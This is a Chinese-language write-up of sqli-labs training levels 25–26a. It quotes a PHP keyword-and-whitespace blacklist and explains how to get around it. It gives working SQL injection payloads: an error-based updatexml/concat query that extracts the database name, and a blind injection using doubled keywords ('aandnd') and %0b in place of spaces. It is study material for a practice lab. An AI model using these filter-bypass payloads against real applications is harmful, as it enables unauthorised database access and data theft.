sqli-labs靶场通关笔记:第25-26a关 and、or、空格和注释符多重过滤
第25关 对or、and的过滤
本关页面给了提示,会对输入进行过滤,用语法测试发现过滤了and和or。
解题思路:
1.双写绕过
2.符号代替
第25a关 数字型的过滤
第26关 空格和注释的过滤
这一关过滤了更多字符串,看一下源代码:
function blacklist($id)
{$id = preg_replace('/or/i', "", $id); // 不区分大小写地移除字符串中的"or"$id = preg_replace('/and/i', "", $id); // 不区分大小写地移除字符串中的"and"$id = preg_replace('/[\/\*]/', "", $id); // 移除字符串中的斜杠(/)和星号(*),防止SQL注释(/* ... */)$id = preg_replace('/[--]/', "", $id); // 移除字符串中的连续减号(--),防止SQL行注释$id = preg_replace('/[#]/', "", $id); // 移除字符串中的井号(#),防止SQL行注释$id = preg_replace('/[\s]/', "", $id); // 移除字符串中的所有空白字符(空格、制表符、换行等)$id = preg_replace('/[\/\\\\]/', "", $id); // 移除字符串中的斜杠(/)和反斜杠(\),防止路径遍历或转义字符return $id; // 返回过滤后的字符串
}
可以利用其他编码的字符代替空格,如%C2%A0,但是有的不一定会被解析。这里利用报错注入,因为不用空格。
?id=1'||(updatexml(1,concat(0x7e,database()),1))||'
第26a关 空格和注释的过滤,且为')闭合的盲注
语法:
?id=1')aandnd%0blength(database())<10%0baandnd%0b('1')=('1
小结:
写语法的时候,这两关出现报错太多了,空格过滤是最麻烦的地方,虽然可以用其他字符串代替,但是很多字符会出现不被解析的情况,而且有的字符被解析为空格,语法仍然会报错。在用union%0bselect尝试时就一直报错,猜测是空格过滤破坏了union联合注入的语法结构。加上注释符过滤,双写绕过,多种绕过同时使用可能会对语法结构造成一定影响。那么,多尝试其他办法,总是好的。